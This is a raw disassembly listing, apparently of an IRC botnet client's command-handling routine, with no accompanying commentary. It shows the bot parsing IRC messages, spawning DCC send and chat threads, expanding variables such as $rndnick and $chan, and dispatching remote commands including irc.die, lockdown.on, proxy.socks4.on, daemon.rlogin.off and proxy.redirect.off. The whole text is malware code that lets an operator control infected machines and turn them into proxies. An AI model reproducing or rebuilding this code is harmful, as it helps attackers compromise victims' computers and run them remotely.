		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_40D69C:				; CODE XREF: sub_40D2E0+618j
					; sub_40D2E0+978j
		push	[ebp+arg_4]
		call	sub_40BAA1


loc_40D6A4:				; CODE XREF: sub_40D2E0+57D8j
					; sub_40D2E0+57F5j ...
		add	esp, 10h


loc_40D6A7:				; CODE XREF: sub_40D2E0+5Bj
					; sub_40D2E0+F1j ...
		push	1


loc_40D6A9:				; CODE XREF: sub_40D2E0+5CEBj
		pop	eax


loc_40D6AA:				; CODE XREF: sub_40D2E0+29Fj
					; sub_40D2E0+229Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D6AF:				; CODE XREF: sub_40D2E0+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D805
		mov	eax, [ebp+var_8C]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 2
		mov	[ebp+arg_24], eax


loc_40D6D8:				; CODE XREF: sub_40D2E0+44Aj
		lea	eax, [ebp+var_AA8]
		push	eax
		push	esi
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D725
		lea	eax, [ebp+var_AA8]
		push	21h
		push	eax
		call	sub_417070
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_40D725
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_415B90
		push	[ebp+arg_1C]
		push	edi
		call	sub_415BA0
		add	esp, 10h
		mov	edi, 80h


loc_40D725:				; CODE XREF: sub_40D2E0+409j
					; sub_40D2E0+420j
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_40D6D8
		lea	eax, [ebp+var_D8]
		test	eax, eax
		jz	loc_40D6A7
		cmp	[ebp+arg_24], ebx
		jz	loc_40D6A7
		push	[ebp+arg_10]
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D76D
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_416D30
		add	esp, 0Ch
		jmp	loc_40D6A7
; ---------------------------------------------------------------------------


loc_40D76D:				; CODE XREF: sub_40D2E0+476j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_40D772:				; CODE XREF: sub_40D2E0+4B3j
		cmp	[edi], bl
		jz	short loc_40D789
		lea	eax, [ebp+var_AA8]
		push	eax
		push	edi
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D79A


loc_40D789:				; CODE XREF: sub_40D2E0+494j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40D772
		jmp	loc_40D6A7
; ---------------------------------------------------------------------------


loc_40D79A:				; CODE XREF: sub_40D2E0+4A7j
		lea	eax, [ebp+var_AA8]
		push	21h
		push	eax
		call	sub_417070
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_40D6A7
		push	eax
		call	sub_415C80
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_415C80
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_40D6A7
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS_1	; ":%s%s"
		push	esi
		call	sub_415480
		push	ebx
		lea	eax, [ebp+var_4C0]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_40BAE7
		add	esp, 24h
		jmp	loc_40D6A7
; ---------------------------------------------------------------------------


loc_40D805:				; CODE XREF: sub_40D2E0+3DEj
		push	esi
		push	offset aPart	; "PART"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D827
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D84E


loc_40D827:				; CODE XREF: sub_40D2E0+534j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_40D82C:				; CODE XREF: sub_40D2E0+56Cj
		cmp	[edi], bl
		jz	short loc_40D842
		push	[ebp+var_94]
		push	edi
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D89C


loc_40D842:				; CODE XREF: sub_40D2E0+54Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40D82C


loc_40D84E:				; CODE XREF: sub_40D2E0+545j
		push	[ebp+var_90]
		push	offset a353	; "353"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D8FD
		push	[ebp+var_84]
		push	[ebp+arg_8]
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D885
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_40D885:				; CODE XREF: sub_40D2E0+59Aj
		push	[ebp+var_84]
		push	offset dword_42E498


loc_40D890:				; CODE XREF: sub_40D2E0+5B47j
					; sub_40D2E0+5E96j ...
		call	sub_40A627
		pop	ecx


loc_40D896:				; CODE XREF: sub_40D2E0+5FABj
		pop	ecx
		jmp	loc_40D6A7
; ---------------------------------------------------------------------------


loc_40D89C:				; CODE XREF: sub_40D2E0+560j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_42E468
		push	eax
		call	sub_415480
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40A5B3
		push	[ebp+var_90]
		push	offset aPart	; "PART"
		call	sub_4158A0
		add	esp, 18h
		test	eax, eax
		jnz	loc_40D6A7
		lea	eax, [ebp+var_2DC]
		push	eax
		mov	eax, [ebp+var_94]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_40D69C
; ---------------------------------------------------------------------------


loc_40D8FD:				; CODE XREF: sub_40D2E0+582j
		push	[ebp+var_90]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_4158A0
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_40D951
		push	[ebp+var_90]
		push	edi
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D951
		push	[ebp+var_90]
		push	offset dword_42E464
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4133B5
		cmp	ds:dword_42ACD0, ebx
		jz	loc_4133B5


loc_40D951:				; CODE XREF: sub_40D2E0+637j
					; sub_40D2E0+649j
		push	[ebp+var_90]
		push	esi
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DADD
		push	[ebp+var_90]
		push	edi
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DADD
		mov	eax, [ebp+var_88]
		inc	[ebp+var_84]
		push	4
		mov	[ebp+var_8C], eax
		pop	esi
		mov	[ebp+var_C0], esi


loc_40D998:				; CODE XREF: sub_40D2E0+8B9j
					; sub_40D2E0+94Dj ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_94]
		lea	edi, [ebp+esi+var_94]
		push	eax
		push	offset dword_42E45C
		mov	[ebp+arg_8], eax
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40DDDD
		push	[ebp+esi+var_90]
		push	offset aSend_0	; "SEND"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40DC98
		cmp	[ebp+var_AC], ebx
		jz	loc_40DC6E
		push	[ebp+esi+var_8C]
		mov	edi, offset aS_2 ; "%s"
		lea	eax, [ebp+var_6F4]
		push	edi
		push	eax
		call	sub_415480
		add	esp, 0Ch
		lea	eax, [ebp+var_708]
		push	[ebp+esi+var_88]
		push	edi
		push	eax
		call	sub_415480
		push	[ebp+esi+var_84]
		call	sub_4159EF
		mov	[ebp+var_570], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_710], eax
		lea	eax, [ebp+var_D8]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_5F0]
		push	eax
		call	sub_416D30
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_5F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_42E418
		push	eax
		call	sub_415480
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	12h
		push	eax
		call	sub_414F2C
		add	esp, 1Ch
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_710]
		push	ebx
		push	eax
		push	offset sub_40AEC8
		push	ebx
		push	ebx
		call	ds:dword_422070	; CreateThread
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43BED4[ecx], eax
		jz	loc_40DC5D


loc_40DAC7:				; CODE XREF: sub_40D2E0+7FBj
		cmp	[ebp+var_560], ebx
		jnz	loc_40DC90
		push	32h
		call	ds:dword_422054	; Sleep
		jmp	short loc_40DAC7
; ---------------------------------------------------------------------------


loc_40DADD:				; CODE XREF: sub_40D2E0+681j
					; sub_40D2E0+697j
		push	[ebp+var_90]
		push	edi
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DAF6
		mov	[ebp+var_4], 1


loc_40DAF6:				; CODE XREF: sub_40D2E0+80Dj
		cmp	[ebp+var_8C], ebx
		jz	loc_40D6A7
		push	(offset	loc_4259A3+1)
		push	[ebp+var_8C]
		call	sub_415A50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40DB1D
		cmp	[ebp+var_4], ebx
		jz	short loc_40DB29


loc_40DB1D:				; CODE XREF: sub_40D2E0+836j
		lea	eax, [ebp+var_D8]
		mov	[ebp+var_8C], eax


loc_40DB29:				; CODE XREF: sub_40D2E0+83Bj
		cmp	[ebp+var_88], ebx
		jz	loc_40D6A7
		inc	[ebp+var_88]
		jz	short loc_40DB75
		cmp	[ebp+arg_10], ebx
		jz	short loc_40DB75
		lea	eax, [ebp+var_928]
		push	eax
		call	sub_415C80
		push	eax
		lea	eax, [ebp+var_928]
		push	[ebp+var_88]
		push	eax
		call	sub_416EC0
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_C0], esi
		jmp	short loc_40DB7B
; ---------------------------------------------------------------------------


loc_40DB75:				; CODE XREF: sub_40D2E0+85Bj
					; sub_40D2E0+860j
		mov	esi, [ebp+var_C0]


loc_40DB7B:				; CODE XREF: sub_40D2E0+893j
		mov	edi, [ebp+esi*4+var_94]
		cmp	edi, ebx
		jz	loc_40D6A7
		push	edi
		push	offset dword_42E40C
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D998
		mov	ecx, [ebp+var_8C]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40DC1E
		mov	eax, ds:dword_4C8E40
		mov	eax, ds:off_42ADE0[eax*4]
		cmp	[eax], bl
		jz	short loc_40DC1E
		push	eax
		push	ecx
		push	offset dword_42E3F0
		push	[ebp+arg_4]
		call	sub_40BAA1
		add	esp, 10h
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset aSHasJustVersio ; "%s has just versioned	me."
		push	eax
		call	sub_415480
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40A5B3
		add	esp, 10h
		cmp	[ebp+var_AC], ebx
		jnz	loc_40D6A7
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1
		push	eax
		push	offset dword_4C8D4C


loc_40DC0E:				; CODE XREF: sub_40D2E0+58C1j
		push	[ebp+arg_4]
		call	sub_40BAE7
		add	esp, 14h
		jmp	loc_40D6A7
; ---------------------------------------------------------------------------


loc_40DC1E:				; CODE XREF: sub_40D2E0+8C8j
					; sub_40D2E0+8D8j
		push	edi
		push	offset dword_42E3CC
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D998
		mov	eax, [ebp+esi*4+var_90]
		cmp	eax, ebx
		jz	loc_40D998
		mov	ecx, [ebp+var_8C]
		cmp	byte ptr [ecx],	23h
		jz	loc_40D998
		push	eax
		push	ecx
		push	offset dword_42E3B4
		jmp	loc_40D69C
; ---------------------------------------------------------------------------


loc_40DC5D:				; CODE XREF: sub_40D2E0+7E1j
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42E36C
		jmp	loc_40DDC9
; ---------------------------------------------------------------------------


loc_40DC6E:				; CODE XREF: sub_40D2E0+702j
		lea	eax, [ebp+var_D8]
		push	eax
		push	[ebp+esi+var_8C]
		push	offset dword_42E31C


loc_40DC81:				; CODE XREF: sub_40D2E0+6177j
					; sub_40D2E0+61DEj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_415480
		add	esp, 10h


loc_40DC90:				; CODE XREF: sub_40D2E0+7EDj
					; sub_40D2E0+AB1j ...
		push	1
		pop	esi
		jmp	loc_40F56E
; ---------------------------------------------------------------------------


loc_40DC98:				; CODE XREF: sub_40D2E0+6F6j
		push	[ebp+esi+var_90]
		push	offset aChat	; "CHAT"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40DDF3
		cmp	[ebp+var_AC], ebx
		jz	loc_40DDBD
		push	13h
		call	sub_415174
		test	eax, eax
		pop	ecx
		jnz	loc_40DDAF
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_708]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_415480
		push	[ebp+esi+var_84]
		call	sub_4159EF
		mov	[ebp+var_570], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_710], eax
		lea	eax, [ebp+var_D8]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_5F0]
		push	eax
		call	sub_416D30
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_42E2E4
		push	eax
		call	sub_415480
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	13h
		push	eax
		call	sub_414F2C
		add	esp, 18h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_710]
		push	ebx
		push	eax
		push	offset sub_40A965
		push	ebx
		push	ebx
		call	ds:dword_422070	; CreateThread
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43BED4[ecx], eax
		jz	short loc_40DDA1


loc_40DD8B:				; CODE XREF: sub_40D2E0+ABFj
		cmp	[ebp+var_560], ebx
		jnz	loc_40DC90
		push	32h
		call	ds:dword_422054	; Sleep
		jmp	short loc_40DD8B
; ---------------------------------------------------------------------------


loc_40DDA1:				; CODE XREF: sub_40D2E0+AA9j
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42E2A0
		jmp	short loc_40DDC9
; ---------------------------------------------------------------------------


loc_40DDAF:				; CODE XREF: sub_40D2E0+9E9j
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_42E260
		jmp	short loc_40DDC9
; ---------------------------------------------------------------------------


loc_40DDBD:				; CODE XREF: sub_40D2E0+9D9j
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_42E220


loc_40DDC9:				; CODE XREF: sub_40D2E0+989j
					; sub_40D2E0+ACDj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_415480
		add	esp, 0Ch
		jmp	loc_40DC90
; ---------------------------------------------------------------------------


loc_40DDDD:				; CODE XREF: sub_40D2E0+6DBj
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, ds:byte_42ACDC
		mov	[edi], ecx
		jnz	loc_40D6A7


loc_40DDF3:				; CODE XREF: sub_40D2E0+9CDj
		mov	edi, [edi]
		mov	[ebp+arg_8], edi
		push	edi
		mov	edi, offset aC_0 ; "c"
		push	edi
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4133BD
		push	[ebp+arg_8]
		push	edi
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4133BD
		cmp	[ebp+var_AC], ebx
		jnz	short loc_40DE43
		push	[ebp+var_90]
		push	offset dword_42E464
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4133B5


loc_40DE43:				; CODE XREF: sub_40D2E0+B47j
		cmp	[ebp+arg_28], ebx
		jnz	loc_4133B5
		xor	edi, edi
		cmp	ds:dword_42AE8C, ebx
		jle	loc_40DFEF
		mov	[ebp+arg_20], offset dword_43B140


loc_40DE61:				; CODE XREF: sub_40D2E0+BA0j
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40DE87
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, ds:dword_42AE8C
		jl	short loc_40DE61
		jmp	loc_40DFEF
; ---------------------------------------------------------------------------


loc_40DE87:				; CODE XREF: sub_40D2E0+B90j
		push	offset asc_42E574 ; " :"
		push	[ebp+arg_0]
		call	sub_415A50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40D6A7
		mov	cl, ds:byte_42ACDC
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, ds:byte_42ACDC
		mov	[eax+3], cl
		lea	ecx, dword_43B158[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_416D30
		lea	eax, [ebp+esi+var_54]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax


loc_40DEDC:				; CODE XREF: sub_40D2E0+CA4j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_B8]
		push	offset aD_0	; "$%d-"
		push	eax
		call	sub_415480
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_415A50
		add	esp, 14h
		test	eax, eax
		jz	short loc_40DF48
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_40DF48
		lea	eax, dword_43B140[edi]
		push	eax
		call	sub_415C80
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_40DF7A
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_415A50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40DF7A
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_408E1D
		add	esp, 0Ch
		jmp	short loc_40DF7A
; ---------------------------------------------------------------------------


loc_40DF48:				; CODE XREF: sub_40D2E0+C24j
					; sub_40D2E0+C2Bj
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_40DF7A
		lea	eax, [ebp+var_B8]
		push	2
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_416D30
		lea	eax, [ebp+var_14]
		mov	[ebp+var_12], bl
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_408E1D
		add	esp, 18h


loc_40DF7A:				; CODE XREF: sub_40D2E0+C3Dj
					; sub_40D2E0+C51j ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_40DEDC
		lea	eax, [ebp+esi+var_54]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_40DF97:				; CODE XREF: sub_40D2E0+D03j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_B8]
		push	offset aD	; "$%d"
		push	eax
		call	sub_415480
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_415A50
		add	esp, 14h
		test	eax, eax
		jz	short loc_40DFDA
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40DFDA
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_408E1D
		add	esp, 0Ch


loc_40DFDA:				; CODE XREF: sub_40D2E0+CDFj
					; sub_40D2E0+CE5j
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40DF97
		mov	[ebp+var_DC], 1


loc_40DFEF:				; CODE XREF: sub_40D2E0+B74j
					; sub_40D2E0+BA2j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, ds:byte_42ACDC
		jz	short loc_40E008
		cmp	[ebp+var_DC], ebx
		jz	loc_40E1ED


loc_40E008:				; CODE XREF: sub_40D2E0+D1Aj
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe_0	; "$me"
		push	edi
		call	sub_408E1D
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aUser_2	; "$user"
		push	edi
		call	sub_408E1D
		push	[ebp+var_8C]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_408E1D
		push	ebx
		push	ebx
		lea	eax, [ebp+var_B8]
		push	2
		push	eax
		call	sub_41416F
		push	eax
		push	offset aRndnick	; "$rndnick"
		push	edi
		call	sub_408E1D
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_0 ; "$server"
		push	edi
		call	sub_408E1D
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_415A50
		add	esp, 14h


loc_40E07A:				; CODE XREF: sub_40D2E0+E86j
		test	eax, eax
		jz	loc_40E16B
		push	edi
		push	[ebp+arg_0]
		call	sub_415A50
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_416D30
		lea	eax, [ebp+var_B8]
		push	offset asc_42E1DC ; ")"
		push	eax
		call	sub_416C8F
		add	esp, 1Ch
		cmp	[ebp+var_B8], 30h
		jl	short loc_40E0C6
		cmp	[ebp+var_B8], 39h
		jle	short loc_40E0DC


loc_40E0C6:				; CODE XREF: sub_40D2E0+DDBj
		push	3
		lea	eax, [ebp+var_B8]
		push	offset a63	; "63"
		push	eax
		call	sub_416D30
		add	esp, 0Ch


loc_40E0DC:				; CODE XREF: sub_40D2E0+DE4j
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_4159EF
		test	eax, eax
		pop	ecx
		jle	short loc_40E0FF
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_4159EF
		pop	ecx
		mov	[ebp+var_14], al
		jmp	short loc_40E110
; ---------------------------------------------------------------------------


loc_40E0FF:				; CODE XREF: sub_40D2E0+E0Bj
		call	sub_4154DC
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_14], dl


loc_40E110:				; CODE XREF: sub_40D2E0+E1Dj
		lea	eax, [ebp+var_B8]
		mov	[ebp+var_13], bl
		push	eax
		call	sub_415C80
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_B8]
		push	ebx
		push	eax
		call	sub_415500
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_B8]
		push	[ebp+arg_10]
		push	eax
		call	sub_416D30
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_408E1D
		push	edi
		push	[ebp+arg_0]
		call	sub_415A50
		add	esp, 30h
		jmp	loc_40E07A
; ---------------------------------------------------------------------------


loc_40E16B:				; CODE XREF: sub_40D2E0+D9Cj
		mov	edi, 1FFh
		lea	eax, [ebp+var_FB0]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_416D30
		lea	eax, [ebp+var_FB0]
		push	edi
		push	eax
		lea	eax, [ebp+var_11B0]
		push	eax
		call	sub_416D30
		lea	eax, [ebp+var_11B0]
		push	offset asc_425D24 ; " "
		push	eax
		call	sub_416C8F
		add	esp, 20h
		mov	[ebp+var_94], eax
		lea	edi, [ebp+var_90]
		mov	[ebp+arg_10], 1Fh


loc_40E1BB:				; CODE XREF: sub_40D2E0+EF0j
		push	offset asc_425D24 ; " "
		push	ebx
		call	sub_416C8F
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40E1BB
		mov	ecx, [ebp+esi+var_94]
		lea	eax, [ebp+esi+var_94]
		cmp	ecx, ebx
		jz	loc_40D6A7
		add	ecx, 3
		mov	[eax], ecx


loc_40E1ED:				; CODE XREF: sub_40D2E0+D22j
		mov	edi, [ebp+esi+var_94]
		push	edi
		push	offset aIrc_rndnick ; "irc.rndnick"
		mov	[ebp+arg_8], edi
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413363
		push	edi
		push	offset aRn	; "rn"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413363
		push	edi
		push	offset aIrc_die	; "irc.die"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413341
		push	edi
		push	offset aIrc_di	; "irc.di"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413341
		push	edi
		push	offset aIrc_logout ; "irc.logout"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41329F
		push	edi
		push	offset aLo	; "lo"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41329F
		push	edi
		push	offset aIrc_version ; "irc.version"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413290
		push	edi
		push	offset aVer	; "ver"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413290
		push	edi
		push	offset aLockdown_on ; "lockdown.on"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41317B
		push	edi
		push	offset aLd_on	; "ld.on"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41317B
		push	edi
		push	offset aLockdown_off ; "lockdown.off"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41317B
		push	edi
		push	offset aLd_off	; "ld.off"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41317B
		push	edi
		push	offset aProxy_socks4_o ; "proxy.socks4.on"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413059
		push	edi
		push	offset aProxy_s4_on ; "proxy.s4.on"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413059
		push	edi
		push	offset aProxy_socks4_0 ; "proxy.socks4.off"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E35D
		push	[ebp+esi+var_90]
		push	11h
		push	offset aServer	; "Server"
		push	offset dword_42E124


loc_40E341:				; CODE XREF: sub_40D2E0+10A1j
					; sub_40D2E0+10C7j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_4151BA
		add	esp, 20h
		jmp	loc_40D6A7
; ---------------------------------------------------------------------------


loc_40E35D:				; CODE XREF: sub_40D2E0+104Cj
		push	edi
		push	offset aDaemon_rlogin_ ; "daemon.rlogin.off"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E383
		push	[ebp+esi+var_90]
		push	6
		push	offset aServer	; "Server"
		push	offset dword_42E100
		jmp	short loc_40E341
; ---------------------------------------------------------------------------


loc_40E383:				; CODE XREF: sub_40D2E0+108Cj
		push	edi
		push	offset dword_42E0F0
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E3A9
		push	[ebp+esi+var_90]
		push	3
		push	offset aServer	; "Server"
		push	offset dword_42E0E4
		jmp	short loc_40E341
; ---------------------------------------------------------------------------


loc_40E3A9:				; CODE XREF: sub_40D2E0+10B2j
		push	edi
		push	offset dword_42E0DC
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E3D2
		push	[ebp+esi+var_90]
		push	1Dh
		push	offset dword_42E0D0
		push	offset dword_42E0C4
		jmp	loc_40E341
; ---------------------------------------------------------------------------


loc_40E3D2:				; CODE XREF: sub_40D2E0+10D8j
		push	edi
		push	offset aProxy_redirect ; "proxy.redirect.off"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E3FB
		push	[ebp+esi+var_90]
		push	10h
		push	offset dword_42E0A0
		push	offset dword_42E090
		jmp	loc_40E341
; ---------------------------------------------------------------------------


loc_40E3FB:				; CODE XREF: sub_40D2E0+1101j
		push	edi
		push	offset dword_42E084
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E424
		push	[ebp+esi+var_90]
		push	0Ah
		push	offset dword_42E078
		push	offset dword_42E06C
		jmp	loc_40E341
; ---------------------------------------------------------------------------


